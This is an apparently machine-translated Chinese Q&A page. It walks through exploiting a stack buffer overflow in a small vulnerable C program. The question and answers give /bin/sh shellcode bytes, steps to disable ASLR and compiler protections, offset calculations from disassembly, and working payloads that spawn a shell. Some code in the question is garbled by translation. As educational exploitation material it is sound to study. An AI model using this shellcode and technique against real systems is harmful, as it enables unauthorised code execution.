查找缓冲区的起始地址缓冲区溢出 注意 esp 的变化

如何解决查找缓冲区的起始地址缓冲区溢出 注意 esp 的变化

我正试图用 shellcode 控制这个程序。

#include <string.h>
#include <stdio.h>
void func (char * arg)
{
        char name [32];
        strcpy (name,arg);
        printf ("\ nHello% s \ n \ n",name);
}
int main (int argc,char * argv [])
{
        if (argc! = 2) {
                printf ("Usage:% s NAME \ n",argv [0]);
                exit (0);
                }
        func (argv [1]);
        printf ("End of program \ n \ n");
        return 0;
}

对于 40 Aes,这是发生段违规的时间,因此 EIP 记录已被覆盖。由于我的 shellcode 有 23 个字符长,我输入了 17 个 Aes 来利用它。但是我需要“名称”缓冲区开头的地址,以便 shellcode 在那里运行。 在这种情况下,因为只有一个变量,所以知道 ESP 的地址是值得的,因为作为堆栈的顶部,它将匹配。 我看过这个程序,它可以为您提供一个接近 ESP 的地址:

#include <stdio.h>
unsigned long get_sp (void) {
    __asm ​​__ ("movl% esp,% eax");
}
leading void () {
    printf ("0x% x \ n",get_sp ());
}

但是,我总是收到段违规信号,执行以下操作:

./my_program `perl -e 'print" \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 ". "A" x17. "ESP address" '`

程序是这样编译的:

gcc -fno-stack-protector -D_FORTIFY_SOURCE = 0 -z norelro -z execstack my_program.c -o my_program

如何获取缓冲区或 ESP 开头的极端地址?

解决方法

0。关闭 ASLR

为了轻松完成,我们可以禁用 ASLR。在现实世界的漏洞利用中,我们需要对地址进行暴力破解,因为地址是随机的。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

1。编译

ammarfaizi2@integral:~/ex/exp$ cat my_program.c

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void func(char *arg)
{
        char name[32];
        strcpy(name,arg);
        printf("\nHello %s \n\n",name);
}

int main(int argc,char *argv[])
{
        if (argc != 2) {
                printf("Usage: %s NAME \n",argv[0]);
                exit(0);
        }
        func(argv[1]);
        printf("End of program \n\n");
        return 0;
}
ammarfaizi2@integral:~/ex/exp$ gcc -fno-stack-protector -zexecstack -m32 my_program.c -o my_program
ammarfaizi2@integral:~/ex/exp$ 

2.计算偏移量

0000122d <func>:
    122d:   f3 0f 1e fb             endbr32 
    1231:   55                      push   %ebp
    1232:   89 e5                   mov    %esp,%ebp
    /*
     *
     * At this point,we know what return address is located at
     * 0x4(%ebp).
     *
     */
    1234:   53                      push   %ebx
    1235:   83 ec 24                sub    $0x24,%esp
    1238:   e8 f3 fe ff ff          call   1130 <__x86.get_pc_thunk.bx>
    123d:   81 c3 8f 2d 00 00       add    $0x2d8f,%ebx
    1243:   83 ec 08                sub    $0x8,%esp
    1246:   ff 75 08                push   0x8(%ebp)
    1249:   8d 45 d8                lea    -0x28(%ebp),%eax
    124c:   50                      push   %eax
    124d:   e8 5e fe ff ff          call   10b0 <strcpy@plt>
    /*
     *
     * At this point,we know that the command line argument
     * is copied to -0x28(%ebp)
     *
     */
    1252:   83 c4 10                add    $0x10,%esp
    1255:   83 ec 08                sub    $0x8,%esp
    1258:   8d 45 d8                lea    -0x28(%ebp),%eax
    125b:   50                      push   %eax
    125c:   8d 83 3c e0 ff ff       lea    -0x1fc4(%ebx),%eax
    1262:   50                      push   %eax
    1263:   e8 38 fe ff ff          call   10a0 <printf@plt>
    1268:   83 c4 10                add    $0x10,%esp
    126b:   90                      nop
    126c:   8b 5d fc                mov    -0x4(%ebp),%ebx
    126f:   c9                      leave  
    1270:   c3                      ret    
  • 要覆盖 -0x28(%ebp) 的返回地址,我们需要写入 0x4 - (-0x28) 字节(44 字节)。
  • 我们有 23 个字节的 shell 代码。
  • 我们需要 21 个字节的填充来使我们的有效负载为 44 个字节才能到达返回地址。
  • 我们需要4个字节恶意返回地址,我们目前取\x11\x11\x11\x11,因为我们还不知道。

测试执行

ammarfaizi2@integral:~/ex/exp$ ./my_program $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x21,"\x11\x11\x11\x11"')

Hello 1�Ph//shh/bin��PS��
                         AAAAAAAAAAAAAAAAAAAAA 

Segmentation fault (core dumped)
ammarfaizi2@integral:~/ex/exp$ dmesg | tail -n 2
[56448.175467] my_program[117895]: segfault at 11111111 ip 0000000011111111 sp 00000000ffffd3c0 error 14 in my_program[56555000+1000]
[56448.175493] Code: Bad RIP value.
ammarfaizi2@integral:~/ex/exp$ 

此时我们已经能够覆盖 EIP 值。所以接下来就是找到shell代码地址了。


3.查找Shell代码地址

请注意,当 leaveret 撤消 esp 值时会发生段错误。所以我们需要找出func栈帧创建时减去了多少字节。

注意 esp 的变化

; From main function
call   func ; -4 bytes

; Setup stack frame

push   %ebp         ; -4 bytes
mov    %esp,%ebp    ; At this point %ebp = %esp

我们撤销-8个字节,我们的shell代码位于-0x28(%ebp)。所以我们总共有 -48 个字节。

最后一个段错误在 SP = 0xffffd3c0

因此目标返回地址是 0xffffd3c0 - 48 = 0xffffd390


4.执行漏洞利用

请注意,x86 是小端字节序,因此我们需要(按字节)反转我们的有效负载。

  • ffffd390 我们把它写成 \x90\xd3\xff\xff
  • 因此将 \x11\x11\x11\x11 替换为 \x90\xd3\xff\xff
ammarfaizi2@integral:~/ex/exp$ ./my_program $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\x90\xd3\xff\xff"')

Hello 1�Ph//shh/bin��PS��
                         AAAAAAAAAAAAAAAAAAAAA���� 

$ date
Sat Apr  3 14:47:02 WIB 2021
$ whoami
ammarfaizi2
$ exit
ammarfaizi2@integral:~/ex/exp$ 
,

1.关闭 ASLR 和编译

 cat /proc/sys/kernel/randomize_va_space
    0

gcc -fno-stack-protector -zexecstack -m32 prog.c -o prog2

08048474 <func>:
 8048474:       55                      push   %ebp
 8048475:       89 e5                   mov    %esp,%ebp
 8048477:       83 ec 38                sub    $0x38,%esp
 804847a:       8b 45 08                mov    0x8(%ebp),%eax
 804847d:       89 44 24 04             mov    %eax,0x4(%esp)
 8048481:       8d 45 d8                lea    -0x28(%ebp),%eax
 8048484:       89 04 24                mov    %eax,(%esp)
 8048487:       e8 e4 fe ff ff          call   8048370 <strcpy@plt>
 804848c:       b8 d0 85 04 08          mov    $0x80485d0,%eax
 8048491:       8d 55 d8                lea    -0x28(%ebp),%edx
 8048494:       89 54 24 04             mov    %edx,0x4(%esp)
 8048498:       89 04 24                mov    %eax,(%esp)
 804849b:       e8 c0 fe ff ff          call   8048360 <printf@plt>
 80484a0:       c9                      leave
 80484a1:       c3                      ret

080484a2 <main>:
 80484a2:       55                      push   %ebp
 80484a3:       89 e5                   mov    %esp,%ebp
 80484a5:       83 e4 f0                and    $0xfffffff0,%esp
 80484a8:       83 ec 10                sub    $0x10,%esp
 80484ab:       83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484af:       74 22                   je     80484d3 <main+0x31>
 80484b1:       8b 45 0c                mov    0xc(%ebp),%eax
 80484b4:       8b 10                   mov    (%eax),%edx
 80484b6:       b8 f5 85 04 08          mov    $0x80485f5,%eax
 80484bb:       89 54 24 04             mov    %edx,0x4(%esp)
 80484bf:       89 04 24                mov    %eax,(%esp)
 80484c2:       e8 99 fe ff ff          call   8048360 <printf@plt>
 80484c7:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 80484ce:       e8 cd fe ff ff          call   80483a0 <exit@plt>
 80484d3:       8b 45 0c                mov    0xc(%ebp),%eax
 80484d6:       83 c0 04                add    $0x4,%eax
 80484d9:       8b 00                   mov    (%eax),%eax
 80484db:       89 04 24                mov    %eax,(%esp)
 80484de:       e8 91 ff ff ff          call   8048474 <func>
 80484e3:       c7 04 24 05 86 04 08    movl   $0x8048605,(%esp)
 80484ea:       e8 91 fe ff ff          call   8048380 <puts@plt>
 80484ef:       b8 00 00 00 00          mov    $0x0,%eax
 80484f4:       c9                      leave
 80484f5:       c3                      ret

2.测试执行

  ./prog2 $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A" x21 . "\x11\x11\x11\x11"')

Hello 1▒Ph//shh/bin▒▒PS▒▒
                                                  ̀AAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

dmesg | tail -n 2

[82020.945063] prog2[11078]: segfault at d0080484 ip bffff71c sp bffff760 error 5
[82669.199863] prog2[11100]: segfault at 11111111 ip 11111111 sp bffff760 error 14

最后一个段错误在 0xbffff760,所以:0xbffff760 - 48 = 0xbffff718

./prog2 $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\ x53\x89\xe1\xb0\x0b\xcd\x80" . "A" x21 . "\x18\xf7\xff\xbf"')

你好1▒Ph//shh/bin▒▒PS▒▒ ̀AAAAAAAAAAAAAAAAAAAAA▒▒▒

分段错误(核心转储)

dmesg | tail -n 2
[82669.199863] prog2[11100]: segfault at 11111111 ip 11111111 sp bffff760 error 14
[82857.841068] prog2[11108] general protection ip:bffff718 sp:bffff760 error:0

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


使用本地python环境可以成功执行 import pandas as pd import matplotlib.pyplot as plt # 设置字体 plt.rcParams[&#39;font.sans-serif&#39;] = [&#39;SimHei&#39;] # 能正确显示负号 p
错误1:Request method ‘DELETE‘ not supported 错误还原:controller层有一个接口,访问该接口时报错:Request method ‘DELETE‘ not supported 错误原因:没有接收到前端传入的参数,修改为如下 参考 错误2:cannot r
错误1:启动docker镜像时报错:Error response from daemon: driver failed programming external connectivity on endpoint quirky_allen 解决方法:重启docker -&gt; systemctl r
错误1:private field ‘xxx‘ is never assigned 按Altʾnter快捷键,选择第2项 参考:https://blog.csdn.net/shi_hong_fei_hei/article/details/88814070 错误2:启动时报错,不能找到主启动类 #
报错如下,通过源不能下载,最后警告pip需升级版本 Requirement already satisfied: pip in c:\users\ychen\appdata\local\programs\python\python310\lib\site-packages (22.0.4) Coll
错误1:maven打包报错 错误还原:使用maven打包项目时报错如下 [ERROR] Failed to execute goal org.apache.maven.plugins:maven-resources-plugin:3.2.0:resources (default-resources)
错误1:服务调用时报错 服务消费者模块assess通过openFeign调用服务提供者模块hires 如下为服务提供者模块hires的控制层接口 @RestController @RequestMapping(&quot;/hires&quot;) public class FeignControl
错误1:运行项目后报如下错误 解决方案 报错2:Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.8.1:compile (default-compile) on project sb 解决方案:在pom.
参考 错误原因 过滤器或拦截器在生效时,redisTemplate还没有注入 解决方案:在注入容器时就生效 @Component //项目运行时就注入Spring容器 public class RedisBean { @Resource private RedisTemplate&lt;String
使用vite构建项目报错 C:\Users\ychen\work&gt;npm init @vitejs/app @vitejs/create-app is deprecated, use npm init vite instead C:\Users\ychen\AppData\Local\npm-
参考1 参考2 解决方案 # 点击安装源 协议选择 http:// 路径填写 mirrors.aliyun.com/centos/8.3.2011/BaseOS/x86_64/os URL类型 软件库URL 其他路径 # 版本 7 mirrors.aliyun.com/centos/7/os/x86
报错1 [root@slave1 data_mocker]# kafka-console-consumer.sh --bootstrap-server slave1:9092 --topic topic_db [2023-12-19 18:31:12,770] WARN [Consumer clie
错误1 # 重写数据 hive (edu)&gt; insert overwrite table dwd_trade_cart_add_inc &gt; select data.id, &gt; data.user_id, &gt; data.course_id, &gt; date_format(
错误1 hive (edu)&gt; insert into huanhuan values(1,&#39;haoge&#39;); Query ID = root_20240110071417_fe1517ad-3607-41f4-bdcf-d00b98ac443e Total jobs = 1
报错1:执行到如下就不执行了,没有显示Successfully registered new MBean. [root@slave1 bin]# /usr/local/software/flume-1.9.0/bin/flume-ng agent -n a1 -c /usr/local/softwa
虚拟及没有启动任何服务器查看jps会显示jps,如果没有显示任何东西 [root@slave2 ~]# jps 9647 Jps 解决方案 # 进入/tmp查看 [root@slave1 dfs]# cd /tmp [root@slave1 tmp]# ll 总用量 48 drwxr-xr-x. 2
报错1 hive&gt; show databases; OK Failed with exception java.io.IOException:java.lang.RuntimeException: Error in configuring object Time taken: 0.474 se
报错1 [root@localhost ~]# vim -bash: vim: 未找到命令 安装vim yum -y install vim* # 查看是否安装成功 [root@hadoop01 hadoop]# rpm -qa |grep vim vim-X11-7.4.629-8.el7_9.x
修改hadoop配置 vi /usr/local/software/hadoop-2.9.2/etc/hadoop/yarn-site.xml # 添加如下 &lt;configuration&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.res